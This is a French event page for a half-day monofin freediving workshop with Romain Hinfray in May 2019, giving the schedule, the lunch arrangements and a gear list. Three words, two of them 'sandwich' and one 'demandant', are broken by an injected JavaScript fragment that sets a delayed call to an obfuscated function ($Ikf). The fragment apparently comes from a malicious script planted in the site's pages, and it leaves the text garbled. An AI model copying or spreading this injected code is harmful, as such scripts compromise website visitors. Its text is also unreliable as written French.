Workshop apnée monopalme (DYN) 05/05/19 – Romain Hinfray

Date/heure
Date(s) - 05/05/2019
10:15 am - 3:30 pm

Emplacement
Piscine Virginie Dedieu

Catégories

• Apnée

 

Public :
Ce stage s’adresse à tout type de personne souhaitant se perfectionner en technique d’ondulation en apnée.

Ci dessous Romain pratiquant la monopalme aux championnats du monde de Belgrade en Juin 2018 :

Durée du workshop :

1/2 journée

Objectif du stage :

Se perfectionner en technique de monopalme avec des exercices à sec dans l’eau, à reproduire à la fois en créneau apnée, en créneau piscine public et chez soi sur un tapis de Yoga.

 

Repas du midi :

Chacun apporte son sandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich

A prévoir (obligatoire) :

Un certificat médical de non contre indication à la pratique de l'apnée.

Déroulement type du workshop  :

• 10h15 : rendez-vous à l'entrée de la piscine de Fuveau
• 10h30 à 12h15 : théorie de la monopalme et de la technique d'ondulation en apnée, exercices à sec, stretching associé à l'ondulation
• 12h30 à 14h30 : séance dans l'eau, technique, éducatifs, travail de la gestuelle (sollicitation  mains, dos, bassin jambes, chevilles)
• 14h45 à 15h30 : débriefing vidéo et sandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andwich partagé ensemble
• 15h30 : fin du workshop

Matériel à prévoir :

• Masque ou lunettes + pince nez
• Combinaison de nage type 1,5mm ou 2mm
• maillot, bonnet et serviette
• Lestage associé (plomb de cou et/ou ceinture)
• Tuba frontal
• Petites palmes
• monopalme (si vous avez une monopalme plate ET une monopalme à ailettes, prenez les deux)
• Tapis de yoga et tenue ample et souple
• Gourde et de quoi noter, clé usb pour repartir avec les vidéos

 

Suite à votre inscription vous recevrez un mail vous demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andant de remplir un formulaire plus détaillé pour mieux vous connaitre.

Réservations